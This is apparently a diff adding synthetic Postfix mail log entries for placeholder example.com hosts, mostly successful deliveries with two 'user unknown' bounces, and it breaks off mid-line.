to=, relay=mx.example.com[192.0.2.1]:25, delay=0.59, delays=0.12/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:02:50 mailserver postfix/qmgr[1234]: <7115866835@mail.example.com>: from=, size=7354, nrcpt=1 (queue active) +Jul 02 12:02:50 mailserver postfix/smtp[5678]: <7115866835@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=0.61, delays=0.13/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:02:50 mailserver postfix/qmgr[1234]: <9649618887@mail.example.com>: from=, size=1461, nrcpt=1 (queue active) +Jul 02 12:02:50 mailserver postfix/smtp[5678]: <9649618887@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.94, delays=0.17/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:02:50 mailserver postfix/qmgr[1234]: <1953542419@mail.example.com>: from=, size=5588, nrcpt=1 (queue active) +Jul 02 12:02:50 mailserver postfix/smtp[5678]: <1953542419@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=0.14, delays=0.17/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:02:50 mailserver postfix/qmgr[1234]: <2787082403@mail.example.com>: from=, size=7494, nrcpt=1 (queue active) +Jul 02 12:02:50 mailserver postfix/smtp[5678]: <2787082403@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.52, delays=0.45/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:02:55 mailserver postfix/qmgr[1234]: <9449540489@mail.example.com>: from=, size=5778, nrcpt=1 (queue active) +Jul 02 12:02:55 mailserver postfix/smtp[5678]: <9449540489@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=0.82, delays=0.39/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:02:55 mailserver postfix/qmgr[1234]: <5408917918@mail.example.com>: from=, size=6517, nrcpt=1 (queue active) +Jul 02 12:02:55 mailserver postfix/smtp[5678]: <5408917918@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=0.78, delays=0.29/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:02:55 mailserver postfix/qmgr[1234]: <9697385690@mail.example.com>: from=, size=4066, nrcpt=1 (queue active) +Jul 02 12:02:55 mailserver postfix/smtp[5678]: <9697385690@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.48, delays=0.13/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:02:55 mailserver postfix/qmgr[1234]: <2533230249@mail.example.com>: from=, size=3400, nrcpt=1 (queue active) +Jul 02 12:02:55 mailserver postfix/smtp[5678]: <2533230249@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.86, delays=0.50/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:02:55 mailserver postfix/qmgr[1234]: <3180244870@mail.example.com>: from=, size=5733, nrcpt=1 (queue active) +Jul 02 12:02:55 mailserver postfix/smtp[5678]: <3180244870@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.26, delays=0.24/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:03:00 mailserver postfix/qmgr[1234]: <9199547741@mail.example.com>: from=, size=2266, nrcpt=1 (queue active) +Jul 02 12:03:00 mailserver postfix/smtp[5678]: <9199547741@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=0.78, delays=0.32/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:03:00 mailserver postfix/qmgr[1234]: <3787417440@mail.example.com>: from=, size=3580, nrcpt=1 (queue active) +Jul 02 12:03:00 mailserver postfix/smtp[5678]: <3787417440@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=0.52, delays=0.31/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:03:00 mailserver postfix/qmgr[1234]: <7599618994@mail.example.com>: from=, size=1620, nrcpt=1 (queue active) +Jul 02 12:03:00 mailserver postfix/smtp[5678]: <7599618994@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.36, delays=0.24/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:03:00 mailserver postfix/qmgr[1234]: <5015575799@mail.example.com>: from=, size=2476, nrcpt=1 (queue active) +Jul 02 12:03:00 mailserver postfix/smtp[5678]: <5015575799@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=0.50, delays=0.12/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:03:00 mailserver postfix/qmgr[1234]: <4399735510@mail.example.com>: from=, size=3364, nrcpt=1 (queue active) +Jul 02 12:03:00 mailserver postfix/smtp[5678]: <4399735510@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=0.91, delays=0.39/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:03:00 mailserver postfix/qmgr[1234]: <6284708843@mail.example.com>: from=, size=3797, nrcpt=1 (queue active) +Jul 02 12:03:00 mailserver postfix/smtp[5678]: <6284708843@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.46, delays=0.10/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:03:00 mailserver postfix/qmgr[1234]: <1803715966@mail.example.com>: from=, size=5367, nrcpt=1 (queue active) +Jul 02 12:03:00 mailserver postfix/smtp[5678]: <1803715966@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.40, delays=0.23/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:03:00 mailserver postfix/qmgr[1234]: <6779888572@mail.example.com>: from=, size=5331, nrcpt=1 (queue active) +Jul 02 12:03:00 mailserver postfix/smtp[5678]: <6779888572@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=0.84, delays=0.03/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:03:00 mailserver postfix/qmgr[1234]: <8742309399@mail.example.com>: from=, size=3222, nrcpt=1 (queue active) +Jul 02 12:03:00 mailserver postfix/smtp[5678]: <8742309399@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.98, delays=0.11/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:03:00 mailserver postfix/qmgr[1234]: <6529868329@mail.example.com>: from=, size=6801, nrcpt=1 (queue active) +Jul 02 12:03:00 mailserver postfix/smtp[5678]: <6529868329@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=0.66, delays=0.21/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:03:00 mailserver postfix/qmgr[1234]: <6087721738@mail.example.com>: from=, size=7922, nrcpt=1 (queue active) +Jul 02 12:03:00 mailserver postfix/smtp[5678]: <6087721738@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=0.71, delays=0.18/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:03:05 mailserver postfix/qmgr[1234]: <6706602475@mail.example.com>: from=, size=3165, nrcpt=1 (queue active) +Jul 02 12:03:05 mailserver postfix/smtp[5678]: <6706602475@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.24, delays=0.16/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:03:05 mailserver postfix/qmgr[1234]: <5711980478@mail.example.com>: from=, size=7901, nrcpt=1 (queue active) +Jul 02 12:03:05 mailserver postfix/smtp[5678]: <5711980478@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.55, delays=0.26/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:03:05 mailserver postfix/qmgr[1234]: <5627299186@mail.example.com>: from=, size=5795, nrcpt=1 (queue active) +Jul 02 12:03:05 mailserver postfix/smtp[5678]: <5627299186@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=0.89, delays=0.29/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:03:05 mailserver postfix/qmgr[1234]: <6922194896@mail.example.com>: from=, size=5032, nrcpt=1 (queue active) +Jul 02 12:03:05 mailserver postfix/smtp[5678]: <6922194896@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=0.18, delays=0.23/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:03:05 mailserver postfix/qmgr[1234]: <4629239289@mail.example.com>: from=, size=2715, nrcpt=1 (queue active) +Jul 02 12:03:05 mailserver postfix/smtp[5678]: <4629239289@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=0.11, delays=0.49/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:03:05 mailserver postfix/qmgr[1234]: <7180508881@mail.example.com>: from=, size=2402, nrcpt=1 (queue active) +Jul 02 12:03:05 mailserver postfix/smtp[5678]: <7180508881@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=0.78, delays=0.15/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:03:05 mailserver postfix/qmgr[1234]: <8885403198@mail.example.com>: from=, size=3498, nrcpt=1 (queue active) +Jul 02 12:03:05 mailserver postfix/smtp[5678]: <8885403198@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.12, delays=0.07/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:03:10 mailserver postfix/qmgr[1234]: <2036291593@mail.example.com>: from=, size=1606, nrcpt=1 (queue active) +Jul 02 12:03:10 mailserver postfix/smtp[5678]: <2036291593@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.28, delays=0.29/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:03:10 mailserver postfix/qmgr[1234]: <8638129693@mail.example.com>: from=, size=7592, nrcpt=1 (queue active) +Jul 02 12:03:10 mailserver postfix/smtp[5678]: <8638129693@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.66, delays=0.31/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:03:10 mailserver postfix/qmgr[1234]: <2534983207@mail.example.com>: from=, size=4691, nrcpt=1 (queue active) +Jul 02 12:03:10 mailserver postfix/smtp[5678]: <2534983207@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.92, delays=0.46/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:03:10 mailserver postfix/qmgr[1234]: <9359255920@mail.example.com>: from=, size=1089, nrcpt=1 (queue active) +Jul 02 12:03:10 mailserver postfix/smtp[5678]: <9359255920@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=0.62, delays=0.11/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:03:10 mailserver postfix/qmgr[1234]: <1648915565@mail.example.com>: from=, size=7933, nrcpt=1 (queue active) +Jul 02 12:03:10 mailserver postfix/smtp[5678]: <1648915565@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=0.30, delays=0.48/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:03:10 mailserver postfix/qmgr[1234]: <8401918950@mail.example.com>: from=, size=7108, nrcpt=1 (queue active) +Jul 02 12:03:10 mailserver postfix/smtp[5678]: <8401918950@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=0.78, delays=0.05/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:03:10 mailserver postfix/qmgr[1234]: <6417159235@mail.example.com>: from=, size=6985, nrcpt=1 (queue active) +Jul 02 12:03:10 mailserver postfix/smtp[5678]: <6417159235@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=0.13, delays=0.03/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:03:15 mailserver postfix/qmgr[1234]: <5759167159@mail.example.com>: from=, size=6774, nrcpt=1 (queue active) +Jul 02 12:03:15 mailserver postfix/smtp[5678]: <5759167159@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.17, delays=0.18/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:03:15 mailserver postfix/qmgr[1234]: <2599466691@mail.example.com>: from=, size=2564, nrcpt=1 (queue active) +Jul 02 12:03:15 mailserver postfix/smtp[5678]: <2599466691@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.23, delays=0.24/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:03:15 mailserver postfix/qmgr[1234]: <2938051340@mail.example.com>: from=, size=1527, nrcpt=1 (queue active) +Jul 02 12:03:15 mailserver postfix/smtp[5678]: <2938051340@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=0.76, delays=0.35/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:03:15 mailserver postfix/qmgr[1234]: <5872192458@mail.example.com>: from=, size=5023, nrcpt=1 (queue active) +Jul 02 12:03:15 mailserver postfix/smtp[5678]: <5872192458@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.04, delays=0.46/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:03:15 mailserver postfix/qmgr[1234]: <1155920150@mail.example.com>: from=, size=1138, nrcpt=1 (queue active) +Jul 02 12:03:15 mailserver postfix/smtp[5678]: <1155920150@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=0.37, delays=0.50/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:03:15 mailserver postfix/qmgr[1234]: <7847234439@mail.example.com>: from=, size=2485, nrcpt=1 (queue active) +Jul 02 12:03:15 mailserver postfix/smtp[5678]: <7847234439@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=0.41, delays=0.35/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:03:15 mailserver postfix/qmgr[1234]: <9770918514@mail.example.com>: from=, size=7661, nrcpt=1 (queue active) +Jul 02 12:03:15 mailserver postfix/smtp[5678]: <9770918514@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.43, delays=0.17/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:03:15 mailserver postfix/qmgr[1234]: <8674748755@mail.example.com>: from=, size=2033, nrcpt=1 (queue active) +Jul 02 12:03:15 mailserver postfix/smtp[5678]: <8674748755@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.74, delays=0.49/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:03:15 mailserver postfix/qmgr[1234]: <1954276375@mail.example.com>: from=, size=6642, nrcpt=1 (queue active) +Jul 02 12:03:15 mailserver postfix/smtp[5678]: <1954276375@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=0.46, delays=0.37/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:03:15 mailserver postfix/qmgr[1234]: <3280344748@mail.example.com>: from=, size=1981, nrcpt=1 (queue active) +Jul 02 12:03:15 mailserver postfix/smtp[5678]: <3280344748@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.87, delays=0.18/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:03:20 mailserver postfix/qmgr[1234]: <8365344424@mail.example.com>: from=, size=7088, nrcpt=1 (queue active) +Jul 02 12:03:20 mailserver postfix/smtp[5678]: <8365344424@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.45, delays=0.08/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:03:20 mailserver postfix/qmgr[1234]: <1534604931@mail.example.com>: from=, size=7539, nrcpt=1 (queue active) +Jul 02 12:03:20 mailserver postfix/smtp[5678]: <1534604931@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.19, delays=0.41/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:03:20 mailserver postfix/qmgr[1234]: <5412916756@mail.example.com>: from=, size=7537, nrcpt=1 (queue active) +Jul 02 12:03:20 mailserver postfix/smtp[5678]: <5412916756@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=0.43, delays=0.46/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:03:20 mailserver postfix/qmgr[1234]: <9347680413@mail.example.com>: from=, size=6242, nrcpt=1 (queue active) +Jul 02 12:03:20 mailserver postfix/smtp[5678]: <9347680413@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.08, delays=0.37/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:03:20 mailserver postfix/qmgr[1234]: <7922953506@mail.example.com>: from=, size=2902, nrcpt=1 (queue active) +Jul 02 12:03:20 mailserver postfix/smtp[5678]: <7922953506@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=0.39, delays=0.10/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:03:20 mailserver postfix/qmgr[1234]: <7452871245@mail.example.com>: from=, size=3495, nrcpt=1 (queue active) +Jul 02 12:03:20 mailserver postfix/smtp[5678]: <7452871245@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.60, delays=0.15/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:03:20 mailserver postfix/smtp[5679]: <7452871245@mail.example.com>: to=, relay=mx.example.net[192.0.2.2]:25, delay=0.14, dsn=5.1.1, status=bounced (host mx.example.net[192.0.2.2] said: 550 5.1.1 : Recipient address rejected: User unknown in virtual mailbox table) +Jul 02 12:03:25 mailserver postfix/qmgr[1234]: <8778291883@mail.example.com>: from=, size=6432, nrcpt=1 (queue active) +Jul 02 12:03:25 mailserver postfix/smtp[5678]: <8778291883@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=0.87, delays=0.45/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:03:25 mailserver postfix/qmgr[1234]: <5939637457@mail.example.com>: from=, size=3934, nrcpt=1 (queue active) +Jul 02 12:03:25 mailserver postfix/smtp[5678]: <5939637457@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.01, delays=0.30/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:03:25 mailserver postfix/qmgr[1234]: <4957094544@mail.example.com>: from=, size=5184, nrcpt=1 (queue active) +Jul 02 12:03:25 mailserver postfix/smtp[5678]: <4957094544@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=0.60, delays=0.21/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:03:25 mailserver postfix/qmgr[1234]: <9846833503@mail.example.com>: from=, size=5132, nrcpt=1 (queue active) +Jul 02 12:03:25 mailserver postfix/smtp[5678]: <9846833503@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=0.60, delays=0.02/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:03:25 mailserver postfix/qmgr[1234]: <9863778785@mail.example.com>: from=, size=7652, nrcpt=1 (queue active) +Jul 02 12:03:25 mailserver postfix/smtp[5678]: <9863778785@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.98, delays=0.22/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:03:25 mailserver postfix/qmgr[1234]: <6081242448@mail.example.com>: from=, size=6578, nrcpt=1 (queue active) +Jul 02 12:03:25 mailserver postfix/smtp[5678]: <6081242448@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.76, delays=0.41/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:03:25 mailserver postfix/qmgr[1234]: <6182234148@mail.example.com>: from=, size=3683, nrcpt=1 (queue active) +Jul 02 12:03:25 mailserver postfix/smtp[5678]: <6182234148@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=0.22, delays=0.35/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:03:25 mailserver postfix/qmgr[1234]: <1082012909@mail.example.com>: from=, size=6554, nrcpt=1 (queue active) +Jul 02 12:03:25 mailserver postfix/smtp[5678]: <1082012909@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=0.53, delays=0.25/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:03:25 mailserver postfix/qmgr[1234]: <6523445940@mail.example.com>: from=, size=1653, nrcpt=1 (queue active) +Jul 02 12:03:25 mailserver postfix/smtp[5678]: <6523445940@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.19, delays=0.41/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:03:25 mailserver postfix/qmgr[1234]: <3126460449@mail.example.com>: from=, size=3901, nrcpt=1 (queue active) +Jul 02 12:03:25 mailserver postfix/smtp[5678]: <3126460449@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=0.27, delays=0.38/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:03:25 mailserver postfix/qmgr[1234]: <5330156520@mail.example.com>: from=, size=5490, nrcpt=1 (queue active) +Jul 02 12:03:25 mailserver postfix/smtp[5678]: <5330156520@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.69, delays=0.17/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:03:25 mailserver postfix/qmgr[1234]: <8002825745@mail.example.com>: from=, size=5866, nrcpt=1 (queue active) +Jul 02 12:03:25 mailserver postfix/smtp[5678]: <8002825745@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=0.99, delays=0.02/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:03:25 mailserver postfix/qmgr[1234]: <1096686917@mail.example.com>: from=, size=4335, nrcpt=1 (queue active) +Jul 02 12:03:25 mailserver postfix/smtp[5678]: <1096686917@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.96, delays=0.47/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:03:30 mailserver postfix/qmgr[1234]: <2974556620@mail.example.com>: from=, size=1243, nrcpt=1 (queue active) +Jul 02 12:03:30 mailserver postfix/smtp[5678]: <2974556620@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=0.92, delays=0.43/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:03:30 mailserver postfix/qmgr[1234]: <7260379622@mail.example.com>: from=, size=3730, nrcpt=1 (queue active) +Jul 02 12:03:30 mailserver postfix/smtp[5678]: <7260379622@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.02, delays=0.23/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:03:30 mailserver postfix/qmgr[1234]: <6654767472@mail.example.com>: from=, size=7010, nrcpt=1 (queue active) +Jul 02 12:03:30 mailserver postfix/smtp[5678]: <6654767472@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=0.21, delays=0.15/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:03:30 mailserver postfix/qmgr[1234]: <1061212098@mail.example.com>: from=, size=2979, nrcpt=1 (queue active) +Jul 02 12:03:30 mailserver postfix/smtp[5678]: <1061212098@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.00, delays=0.02/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:03:30 mailserver postfix/qmgr[1234]: <4741577989@mail.example.com>: from=, size=5722, nrcpt=1 (queue active) +Jul 02 12:03:30 mailserver postfix/smtp[5678]: <4741577989@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=0.93, delays=0.38/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:03:30 mailserver postfix/qmgr[1234]: <2348677898@mail.example.com>: from=, size=6723, nrcpt=1 (queue active) +Jul 02 12:03:30 mailserver postfix/smtp[5678]: <2348677898@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.09, delays=0.02/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:03:30 mailserver postfix/qmgr[1234]: <7185193626@mail.example.com>: from=, size=3273, nrcpt=1 (queue active) +Jul 02 12:03:30 mailserver postfix/smtp[5678]: <7185193626@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=0.17, delays=0.09/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:03:30 mailserver postfix/qmgr[1234]: <4357814129@mail.example.com>: from=, size=4460, nrcpt=1 (queue active) +Jul 02 12:03:30 mailserver postfix/smtp[5678]: <4357814129@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.38, delays=0.41/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:03:30 mailserver postfix/qmgr[1234]: <8970183975@mail.example.com>: from=, size=5815, nrcpt=1 (queue active) +Jul 02 12:03:30 mailserver postfix/smtp[5678]: <8970183975@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.97, delays=0.12/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:03:30 mailserver postfix/qmgr[1234]: <2100250537@mail.example.com>: from=, size=6400, nrcpt=1 (queue active) +Jul 02 12:03:30 mailserver postfix/smtp[5678]: <2100250537@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.17, delays=0.06/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:03:30 mailserver postfix/qmgr[1234]: <7346073341@mail.example.com>: from=, size=5773, nrcpt=1 (queue active) +Jul 02 12:03:30 mailserver postfix/smtp[5678]: <7346073341@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=0.13, delays=0.47/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:03:30 mailserver postfix/qmgr[1234]: <2299846663@mail.example.com>: from=, size=6702, nrcpt=1 (queue active) +Jul 02 12:03:30 mailserver postfix/smtp[5678]: <2299846663@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.81, delays=0.15/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:03:30 mailserver postfix/smtp[5679]: <2299846663@mail.example.com>: to=, relay=mx.example.net[192.0.2.2]:25, delay=0.79, dsn=5.1.1, status=bounced (host mx.example.net[192.0.2.2] said: 550 5.1.1 : Recipient address rejected: User unknown in virtual mailbox table) +Jul 02 12:03:35 mailserver postfix/qmgr[1234]: <1025172567@mail.example.com>: from=, size=2811, nrcpt=1 (queue active) +Jul 02 12:03:35 mailserver postfix/smtp[5678]: <1025172567@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.61, delays=0.33/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:03:35 mailserver postfix/qmgr[1234]: <1556572498@mail.example.com>: from=, size=7535, nrcpt=1 (queue active) +Jul 02 12:03:35 mailserver postfix/smtp[5678]: <1556572498@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.68, delays=0.14/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:03:35 mailserver postfix/qmgr[1234]: <9445994455@mail.example.com>: from=, size=3476, nrcpt=1 (queue active) +Jul 02 12:03:35 mailserver postfix/smtp[5678]: <9445994455@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.98, delays=0.04/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:03:35 mailserver postfix/qmgr[1234]: <5723867612@mail.example.com>: from=, size=4504, nrcpt=1 (queue active) +Jul 02 12:03:35 mailserver postfix/smtp[5678]: <5723867612@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=0.98, delays=0.16/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:03:35 mailserver postfix/qmgr[1234]: <9919300608@mail.example.com>: from=, size=1313, nrcpt=1 (queue active) +Jul 02 12:03:35 mailserver postfix/smtp[5678]: <9919300608@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.17, delays=0.36/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:03:35 mailserver postfix/qmgr[1234]: <1711142350@mail.example.com>: from=, size=6066, nrcpt=1 (queue active) +Jul 02 12:03:35 mailserver postfix/smtp[5678]: <1711142350@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=0.25, delays=0.19/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:03:35 mailserver postfix/qmgr[1234]: <4057076519@mail.example.com>: from=, size=5921, nrcpt=1 (queue active) +Jul 02 12:03:35 mailserver postfix/smtp[5678]: <4057076519@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.42, delays=0.48/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:03:35 mailserver postfix/qmgr[1234]: <7610607485@mail.example.com>: from=, 